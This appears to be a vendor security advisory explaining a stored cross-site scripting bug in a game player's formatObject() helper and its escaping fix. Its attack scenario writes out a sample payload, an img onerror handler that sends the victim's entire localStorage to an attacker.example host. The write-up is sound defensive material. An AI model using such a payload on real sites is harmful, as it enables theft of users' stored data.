Back to Blog
high SEVERITY9 min read

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published October 4, 2026•Reviewed October 4, 2026

Answer Summary

The affected API is the first-party `formatObject()` helper used by the key-configuration storage viewer in the Dancing-Onigiri-style player's main script; no published package or version is involved. An attacker who can write to the page's `localStorage` key-config entries — through an imported/shared key configuration, a custom add-on script, or an earlier injection on the same origin — can store a key name such as `<img src=x onerror=...>` that executes in the victim's browser each time the storage viewer is rendered via `innerHTML`, giving full same-origin access to saved scores, settings, and session data. The fix routes object keys and array index pairs through the existing `escapeHtml()` helper before interpolation, applying key escaping only when `colorFmt` is true so plain-text output is unchanged; there is no package version to upgrade to, only the fix commit. The issue class is CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerability at a Glance

cweCWE-79
fixWrap the index-pair branch and the object-key branch in `escapeHtml()`, gating key escaping on the `colorFmt` flag
riskScript execution on the game's origin when the key-config storage viewer is opened, exposing saved scores, settings, and any same-origin data
languageJavaScript
root cause`formatObject()` interpolated `key` and `_obj[j]` / `_obj[j+1]` into an HTML string while only string values were passed through `escapeHtml()`
vulnerabilityStored/DOM cross-site scripting via unescaped object keys rendered with innerHTML

Summary

The formatObject() pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with innerHTML. Only string values were passed through escapeHtml(), so a crafted key name persisted in localStorage could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in escapeHtml(), keeping the raw path only for non-colorized (plain-text) output.

Introduction

A high-severity cross-site scripting hole lived in a debugging convenience: the recursive formatObject(_obj, _indent = 0, { colorFmt = true, rootKey = '' }) helper that renders stored key-configuration objects into a human-readable, color-highlighted block for the in-game storage viewer.

The function was mostly careful. Leaf string values went through escapeHtml(). Certain fields went through escapeHtmlForEnabledTag(), which intentionally lets a small set of formatting tags survive so authors can style labels. But the structural parts of the output — the object keys, and the key: value pairs produced when walking a flat array of key-config entries in groups of _numOfSet — were interpolated into the template literal with no encoding at all:

result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;
// ...
return `<br>${nestedIndent}"${key}": ${formattedValue}`;

Because the assembled string is handed to a collection formatter that performs an innerHTML assignment to display the stored data, anything living in a key position became live markup. This is the classic shape of an escaping bug that static analysis catches and humans miss: the sanitizer exists, it is imported, it is even called three lines away — it simply was not called on the one interpolation that carried attacker-influenced text.

If you maintain code that pretty-prints JSON-ish structures into the DOM, this is worth reading carefully. Key names are data too.

Affected Versions

Affected not applicable (first-party code) — the formatObject() helper prior to the output-encoding fix
Fixed in not applicable (first-party code) — fixed in the commit that adds escapeHtml() to the key and index-pair branches
Ecosystem not applicable (first-party browser JavaScript)
CVE / GHSA not assigned
CWE CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

There is no package to upgrade. If you run a fork or a vendored copy of this player script, you need to apply the encoding change yourself.

The Vulnerability Explained

The two unescaped interpolations

formatObject() has two relevant branches. The first handles flat arrays that represent key-config tuples. When the current rootKey matches one of the recognized configuration roots, the function walks the array _numOfSet elements at a time and prints the first two entries as a name: value pair:

if (_list.findIndex(val => val === rootKey) >= 0) {
    let result = `[`;
    for (let j = 0; j < _obj.length; j += _numOfSet) {
        result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;

_obj[j] and _obj[j + 1] come straight out of the deserialized storage object. Neither is escaped.

The second branch is the generic object walker:

: Object.entries(_obj).map(([key, value]) => {
    const formattedValue = getNextObject(value, rootKey === `` ? key : rootKey);
    return `<br>${nestedIndent}"${key}": ${formattedValue}`;
})

formattedValue is produced by the recursive descent and, for string leaves, has already been escaped. key has not been touched. The surrounding quotes in "${key}" are cosmetic JSON styling — they are plain text in the HTML stream and provide no containment whatsoever.

The output of formatObject() is accumulated by the collection formatter and ultimately written into the storage-viewer element with an innerHTML assignment. That makes the whole chain a sink: deserialized localStorage object → unescaped key interpolation → innerHTML.

Why key names are attacker-influenced

"It's my own localStorage, who cares?" is the reasoning that lets this class of bug ship. Three things break it in this code path:

  1. Key configurations are shareable artifacts. The custom key-config structure is the kind of blob users import, paste, and trade between installs. An imported config brings its own key names, not just its values.
  2. Add-on scripts write the same storage. Player installations commonly load per-work customization scripts. Any one of those can write arbitrary keys into the persisted config object; the storage viewer then renders them as markup.
  3. It upgrades a one-shot injection into a persistent one. Any transient script execution on the origin — a reflected issue elsewhere, a malicious add-on run once — can plant a key name and leave. The payload re-fires every time the victim opens the storage viewer, long after the original vector is gone.

Attack scenario

An attacker publishes a "key config preset" for a popular chart. Inside the config object, instead of a benign control name, one key is:

<img src=x onerror="fetch('https://attacker.example/c?d='+btoa(JSON.stringify(localStorage)))">

The victim imports the preset. Nothing happens at import time — the value is only stored. Later, the victim opens the key-configuration storage viewer to check which presets are saved. formatObject() walks the object, hits the generic branch, and emits:

"<img src=x onerror=...>": {...}

That string is assigned via innerHTML. The browser parses it as an element, the onerror handler runs on the game's origin, and the entire localStorage — saved scores, high-score records, display settings, any auth-ish token the deployment keeps there — is exfiltrated. The same payload could instead silently rewrite scores, redirect the player to a look-alike page, or inject a persistent listener that captures every subsequent interaction.

The array branch gives an attacker a second, quieter route: the _obj[j] / _obj[j + 1] pair is printed without even the cosmetic quotes, so a tuple entry is injected as bare markup in a context where the viewer is explicitly expected to contain only key names and numeric codes.

Real-world impact for a deployment: full same-origin script execution triggered by a normal user action, with persistence across sessions because the payload lives in storage rather than in a URL.

The Fix

The change is small and surgical — it adds the missing escapeHtml() calls at exactly the two interpolations that were raw.

Before — index pair rendered raw:

result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;

After — both halves of the pair encoded:

result += `<br>${nestedIndent}${escapeHtml(_obj[j])}: ${escapeHtml(_obj[j + 1])}`;

Before — object key rendered raw:

return `<br>${nestedIndent}"${key}": ${formattedValue}`;

After — key encoded when the output is HTML:

const formattedKey = colorFmt ? escapeHtml(key) : key;
return `<br>${nestedIndent}"${formattedKey}": ${formattedValue}`;

Two details are worth calling out.

Why the object-key branch is gated on colorFmt. formatObject() serves double duty. With colorFmt = true it produces the markup that ends up in innerHTML; with colorFmt = false it produces plain text for copy/export and diagnostic use. Escaping keys unconditionally in the second mode would corrupt exported configurations — a key containing & would come back as &amp;. Tying key escaping to colorFmt keeps encoding aligned with the output context, which is the correct rule: encode for the sink you are actually writing into, not everywhere.

Why the array branch escapes unconditionally. That tuple-printing path exists to render the colorized key-config view; there is no plain-text consumer of its name: value layout to preserve, so the simpler unconditional escape is appropriate and leaves no colorFmt edge case where raw data could slip through.

Together, the two changes close the gap between "values are sanitized" and "everything that reaches innerHTML is sanitized." formattedValue was already safe via the recursive descent; after the fix, the keys and tuple entries that frame it are too.

Key Takeaways

  • Object keys are untrusted input. formatObject() escaped every string value it printed and still shipped an XSS, because Object.entries() hands you a key that nobody thought of as data. Any pretty-printer that writes to innerHTML must encode keys with the same rigor as values.
  • Cosmetic quoting is not containment. Writing "${key}" to mimic JSON gives an attacker no obstacle at all — the quotes are text nodes in the HTML stream, not an attribute delimiter.
  • A whitelist sanitizer is not a general-purpose escaper. escapeHtmlForEnabledTag() intentionally lets formatting tags survive; it can never be the right choice for structural output like key names. Reach for escapeHtml() there.
  • localStorage is an attacker-reachable source when configs are importable. The custom key-configuration blob is traded between users and written by add-on scripts, so rendering it is rendering third-party data — and it makes injections persist across sessions.
  • Tie encoding to the output mode. The colorFmt ? escapeHtml(key) : key pattern is the right shape for a function that emits both HTML and plain text; a single unconditional escape would have silently mangled exported configurations.

How Orbis AppSec Detected This

  • Source: the deserialized custom key-configuration object read from localStorage and walked by formatObject(_obj, _indent, { colorFmt, rootKey }) — specifically the key returned by Object.entries() and the _obj[j] / _obj[j + 1] tuple entries in the array branch.
  • Sink: the innerHTML assignment performed by the collection formatter that renders formatObject()'s output into the key-configuration storage viewer.
  • Missing control: HTML output encoding on key positions. escapeHtml() was applied to string leaf values and escapeHtmlForEnabledTag() to tag-bearing fields, but neither was applied to object keys or to the index-pair entries, so those flowed into the markup verbatim.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: escapeHtml() is now applied to _obj[j] and _obj[j + 1] in the tuple branch and, when colorFmt is true, to key in the object branch before interpolation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This was not a missing sanitizer — it was a sanitizer applied to 90% of the data. formatObject() carefully escaped the values it printed and then framed them with unescaped keys, and because the result is written with innerHTML, a key name was all an attacker needed. Shareable key-config presets and per-work add-on scripts make that storage object reachable by third parties, and storage-backed payloads re-fire on every visit to the viewer.

The remediation is the right one for a dual-purpose formatter: escape the tuple entries unconditionally, escape object keys when the output is HTML (colorFmt === true), and leave the plain-text export path byte-identical. If you maintain a fork or a similar recursive DOM pretty-printer, audit every interpolation that lands in an innerHTML string — including the ones that "only" hold key names.

Prevention and further reading

Frequently Asked Questions

Does adding `escapeHtml()` to `formatObject()` break the plain-text export of key configurations?

No. The object-key branch escapes only when `colorFmt` is true (`colorFmt ? escapeHtml(key) : key`), so callers that request non-colorized output still receive the original key text for copy/export use.

Why didn't the existing `escapeHtmlForEnabledTag()` call already protect the key-config viewer?

That helper deliberately allows a whitelist of formatting tags through, and it was applied to string *values* — not to object keys or to the `_obj[j]` / `_obj[j + 1]` index pairs in the array branch, which reached the HTML string completely raw.

Which part of the key-config data does an attacker actually control in this path?

The keys and paired entries of the persisted custom key-configuration object in `localStorage` — the same structure populated by imported or shared key configs — which `formatObject()` walks when `rootKey` matches one of the recognized config roots.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2255

Related Articles

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The